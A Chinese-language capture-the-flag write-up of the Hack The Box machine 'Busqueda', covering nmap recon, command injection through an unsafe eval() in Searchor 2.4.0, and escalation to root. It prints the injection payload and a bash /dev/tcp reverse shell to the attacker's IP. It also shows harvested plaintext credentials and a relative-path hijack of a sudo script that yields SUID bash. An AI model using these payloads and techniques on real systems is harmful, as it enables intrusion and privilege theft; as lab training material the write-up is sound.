Skip to content

Busqueda Writeup

不要分不清楚場合,和共用密碼好嗎?

聲明
我是新手。 Please correct me if I'm wrong.

Busqueda Badge

靶機資訊(Machine Infromation)

Machine Description
Name Busqueda
OS Linux
Difficulty Easy
Author kavigihan

情蒐(Reconnaissance)

服務掃描(Services Scan)

HTB起手式——「port scan」,應該沒有異議吧?

PORT   STATE SERVICE VERSION 
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

掃完只開兩個port,分別是SSH和HTTP,從HTTP掃描的結果得知標的的domain:「searcher.htb」。

Terminal
┌──(kali㉿KALI)-[~/]
└─$ sudo nmap -p- --min-rate 6969 -Pn 10.129.228.217
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 17:35 UTC
Nmap scan report for 10.129.228.217
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 10.07 seconds

┌──(kali㉿KALI)-[~/Documents]
└─$ sudo nmap -p 22,80 -sCV -Pn 10.129.228.217
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 17:38 UTC
Nmap scan report for 10.129.228.217
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.83 seconds

HTTP - Port 80

curl連線Port 80,發現網站將IP跳轉至網站域名:searcher.htb

<MACHING_NAME>.htb 是HTB靶機hostname的常見命名規則。你可以在HTB Meta找到更多資訊。

┌──(kali㉿KALI)-[~]
└─$ curl http://10.129.26.203 -v
*   Trying 10.129.26.203:80...
* Connected to 10.129.26.203 (10.129.26.203) port 80
> GET / HTTP/1.1
> Host: 10.129.26.203
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 302 Found
< Date: Sat, 13 Jul 2024 17:44:32 GMT
< Server: Apache/2.4.52 (Ubuntu)
< Location: http://searcher.htb/
< Content-Length: 283
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://searcher.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at 10.129.26.203 Port 80</address>
</body></html>
* Connection #0 to host 10.129.26.203 left intact

將domain name加加至/etc/host中。

至於為什麼要將domain name加入至/etc/hosts? 請參考另一篇中的解釋

Terminal
┌──(kali㉿KALI)-[~]
└─$ echo "10.129.26.203 searcher.htb" | sudo tee -a /etc/hosts
10.129.26.203 searcher.htb

Apach在此大概是用於reverse proxy,因為使用domain name連線回應Server是Werkzeug

┌──(kali㉿KALI)-[~/.ssh]
└─$ curl http://searcher.htb -v -s > /dev/null
* Host searcher.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.228.217
*   Trying 10.129.228.217:80...
* Connected to searcher.htb (10.129.228.217) port 80
> GET / HTTP/1.1
> Host: searcher.htb
> User-Agent: curl/8.8.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Sat, 20 Jul 2024 15:30:18 GMT
< Server: Werkzeug/2.1.2 Python/3.10.6
< Content-Type: text/html; charset=utf-8
< Content-Length: 13519
< Vary: Accept-Encoding
< 
{ [1328 bytes data]
* Connection #0 to host searcher.htb left intact

開源軟體「Searcher」

從瀏覽器中開啟標的網頁,大致玩一下功能,其實就只是把輸入的內容跳轉至對應搜尋引擎搜索而以。

Main page

但仔細看網頁的最下方,可知標的運行開源專案「Searcher」的2.4.0版。既然是開源專案,就是白箱檢測了,但在殺去看原始碼之前,我們可以先看看下幾個版本的CHANGELOG

遇到開源轉體的幾條路

如果標的是開源專案,目前有幾條路可以走:
1. 檢查release、issues和changelog,嘗試尋找CVE、security、bug等相關資訊。
2. 白箱檢測,讀原始碼找漏洞,找任何可以利用的弱點。
3. 黑箱測試,fuzzing、SSTI、SQL等。
4. 找一個可以問的人 還有其他建議嗎?

Changelog 2.4.2

結果發現2.4.2的log中表示有重大弱點修復,於是直接看看PR #130改了什麼部分。

PR #130

得知當Search在使用eval()處理url的字串,這問題可大了。

引擎中不安全的eval()

src/searchor/main.py
@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open

在python中eval()exec()能把輸入的文字字串轉換成程式碼並執行。
所以,當發現標的使用eval()處理任何東西時,建議檢查裡面的變數是否可任意變動,如果可以就可以RCE。
在此,enginequery是使用者可以操縱的。於是便植入payload:'),__import__('os').system('id')#query,payload在執行中的eval()程式眼裡看起來像這樣:

        url = eval(
            f"Engine.{engine}.search(''),__import__('os').system('id')#', copy_url={copy}, open_web={open})"
        )

eval()將以逗號分隔分別執行Engine.{engine}.search('')__import__('os').system('id')#<後面的東西都被註解掉了>

如此以來我們就可以RCE了。

Seacher eval

Payload
'),__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.14.49/8087 0>&1"')#

記得在用BurpSuite送出前將payload全部url encode,尤其是&,因為web server將&視為區分parameter的關鍵字。

使用bash reverse shell得到user.txt,/var/www/app底下的東西待會再說。

Terminal
listening on [any] 8087 ...
connect to [10.10.14.49] from (UNKNOWN) [10.129.228.217] 44648
bash: cannot set terminal process group (1555): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$
...
svc@busqueda:~$ cat user.txt
cat user.txt
108beb980b11edd119a523076cd18ce7

內部情蒐(Discovery)

利用剛才取得shell蒐集資料,也可以先加ssh key方便操作。
對了,我在本階段有找SUID、ss -tulnp4ps -ef等,但這次沒有太大幫助就不贅述了。

Cody的壞習慣

在剛才要確定是否可讀取user.txt的時候,同時/home下發現了不是linux預設的檔案:.gitconfig

Terminal
svc@busqueda:~$ ll
drwxr-x--- 4 svc  svc  4096 Apr  3  2023 ./
drwxr-xr-x 3 root root 4096 Dec 22  2022 ../
lrwxrwxrwx 1 root root    9 Feb 20  2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc  svc   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 svc  svc  3771 Jan  6  2022 .bashrc
drwx------ 2 svc  svc  4096 Feb 28  2023 .cache/
-rw-rw-r-- 1 svc  svc    76 Apr  3  2023 .gitconfig
drwxrwxr-x 5 svc  svc  4096 Jun 15  2022 .local/
lrwxrwxrwx 1 root root    9 Apr  3  2023 .mysql_history -> /dev/null
-rw-r--r-- 1 svc  svc   807 Jan  6  2022 .profile
lrwxrwxrwx 1 root root    9 Feb 20  2023 .searchor-history.json -> /dev/null
-rw-r----- 1 root svc    33 Jul 20 05:16 user.txt

讀取設定檔後,得知使用svc帳號的人其實是Cody

Terminal
svc@busqueda:~$ cat .gitconfig
cat .gitconfig
[user]
        email = [email protected]
        name = cody
[core]
        hooksPath = no-hooks

看到這裡,得知cody這個人應該沒有權限與環境劃分的觀念,因為production的環境絕對不可以和develop環境混用,更不可以使用service帳號做其他事情
我們可以利用Cody的壞習慣尋找提權的路徑,回頭看看searcher.htb的webroot底下有什麼不該出現的東西。

Terminal
svc@busqueda:/var/www/app$ ll
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 ./
drwxr-xr-x 4 root     root     4096 Apr  4  2023 ../
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jul 20 05:16 .git/
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates

讀取.git底下的config檔案,取得新站點「gitea」和cody的gitea帳密。

Terminal
svc@busqueda:/var/www/app$ ll .git
...
-rw-r--r-- 1 www-data www-data  294 Dec  1  2022 config
...
svc@busqueda:/var/www/app$ cat .git/config
cat .git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:[email protected]/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

因為使用svc的人是Cody,所以猜測他可能共用帳號密碼。果不其然,因此取得sudo -l的結果,得知可以以root執行system-checkup.py腳本。

Creds
cody:jh1usoih2bkjaspwe92
svc:jh1usoih2bkjaspwe92
Terminal
svc@busqueda:/var/www/app$ echo 'jh1usoih2bkjaspwe92' | sudo -l -S
echo 'jh1usoih2bkjaspwe92' | sudo -l -S
[sudo] password for svc: Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

system-checkup.py腳本是提權的關鍵,但目前沒辦法讀取內容,所以先執行看看。

Terminal
svc@busqueda:/var/www/app$ ll /opt/scripts
ll /opt/scripts
total 28
drwxr-xr-x 3 root root 4096 Dec 24  2022 ./
drwxr-xr-x 4 root root 4096 Mar  1  2023 ../
-rwx--x--x 1 root root  586 Dec 24  2022 check-ports.py*
-rwx--x--x 1 root root  857 Dec 24  2022 full-checkup.sh*
drwxr-x--- 8 root root 4096 Apr  3  2023 .git/
-rwx--x--x 1 root root 3346 Dec 24  2022 install-flask.sh*
-rwx--x--x 1 root root 1903 Dec 24  2022 system-checkup.py*

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
<o /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

腳本有三個功能,先執行docker-ps看看有什麼container正在執行,順便看看docker的版本,也許可以利用也說不定。

Terminal
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
<in/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   18 months ago   Up 5 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   18 months ago   Up 5 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

svc@busqueda:/opt/scripts$ docker --version
docker --version
Docker version 20.10.21, build 20.10.21-0ubuntu1~22.04.2

發現有2個containers正在運行,gitea已經看過了,現在對mysql比較有興趣,因為有帳密。
在執行腳本的第二個功能之前,其實也看出來system-checkup.py腳本其實是docker的wrapper,python system-checkup.py docker-ps其實就是docker psdocker-inspect也就是docker inspect了。
先看看怎麽使用:

Terminal
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect
[sudo] password for svc: 
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

參考docker官方文件,使用'{{json .Config}}'的format配合jq顯示資料,取得docker container的config,裡面包含mysql的帳密。

Terminal
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' mysql_db | jq
{
  "Hostname": "f84a6b33fb5a",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": false,
  "AttachStderr": false,
  "ExposedPorts": {
    "3306/tcp": {},
    "33060/tcp": {}
  },
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": [
    "MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
    "MYSQL_USER=gitea",
    "MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
    "MYSQL_DATABASE=gitea",
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "GOSU_VERSION=1.14",
    "MYSQL_MAJOR=8.0",
    "MYSQL_VERSION=8.0.31-1.el8",
    "MYSQL_SHELL_VERSION=8.0.31-1.el8"
  ],
  "Cmd": [
    "mysqld"
  ],
  "Image": "mysql:8",
  "Volumes": {
    "/var/lib/mysql": {}
  },
  "WorkingDir": "",
  "Entrypoint": [
    "docker-entrypoint.sh"
  ],
  "OnBuild": null,
  "Labels": {
    "com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
    "com.docker.compose.container-number": "1",
    "com.docker.compose.oneoff": "False",
    "com.docker.compose.project": "docker",
    "com.docker.compose.project.config_files": "docker-compose.yml",
    "com.docker.compose.project.working_dir": "/root/scripts/docker",
    "com.docker.compose.service": "db",
    "com.docker.compose.version": "1.29.2"
  }
}

輸入剛剛取得的帳密,結果DB裡面沒有有趣的資訊。

Terminal
svc@busqueda:~$ mysql -u gitea -h 127.0.0.1 -p                                                           
Enter password:                                                                                          
Welcome to the MySQL monitor.  Commands end with ; or \g.                                                
Your MySQL connection id is 94                                                                           
Server version: 8.0.31 MySQL Community Server - GPL

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| gitea              |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)

mysql> use gitea
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------------------+
| Tables_in_gitea           |
+---------------------------+
...
| user                      |
...
+---------------------------+
...
mysql> select name,passwd from user;
+---------------+------------------------------------------------------------------------------------------------------+
| name          | passwd                                                                                               |
+---------------+------------------------------------------------------------------------------------------------------+
| administrator | ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 |
| cody          | b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e |
+---------------+------------------------------------------------------------------------------------------------------+

Hijack Execution Flow

找來找去,最後發現gitea的DB密碼重複使用,登入administrator帳號,因此可以取得所有scripts的原始碼。

Gitea creds
administrator:yuiu1hoiu4i5ho1uh

Administrator repos

檢視system-checkup.py發現full-checkup功能仰賴執行同名腳本:./full-checkup.sh,而且是使用相對路徑

Relative path is dangous

  • 用相對路徑鏈結檔案是個問題,為什麼呢?
    因為python腳本會以當前目錄(CWD)為工作目錄開始尋找.sh腳本,導致不是讀取到/opt/scripts底下的那一份。
    假設,現在cd/tmp下,再次執行python system-checkup.py docker-ps,python就將以/tmp為起始目錄,並且在該目錄下尋找.sh腳本,因此會找/tmp/full-checkup.sh,如果沒有找到就回「Something went wrong」了。

利於這點在任意可寫資料夾下創建惡意full-checkup.sh,內容隨意,在此以chmod設定bish SUID。

Terminal
svc@busqueda:/tmp$ vim full-checkup.sh
svc@busqueda:/tmp$ chmod +x full-checkup.sh 
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:/tmp$ bash -p
bash-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) egid=0(root) groups=0(root),1000(svc)
bash-5.1# cat /root/root.txt 
3687ebffcd04771f880eaf4794f5b85d

後記 - 黑箱測試

其實Searchor的漏洞用黑箱測試也很快,首先測SSTI,畢竟是python的框架,然後測哪些特殊符號會導致網站壞掉,就可以知道')是關鍵符號,外加對python的一點理解,其實不難猜出後端使用eval()或是exec()處理輸入字串。


Last update: 2024-12-23 Created: 2023-04-08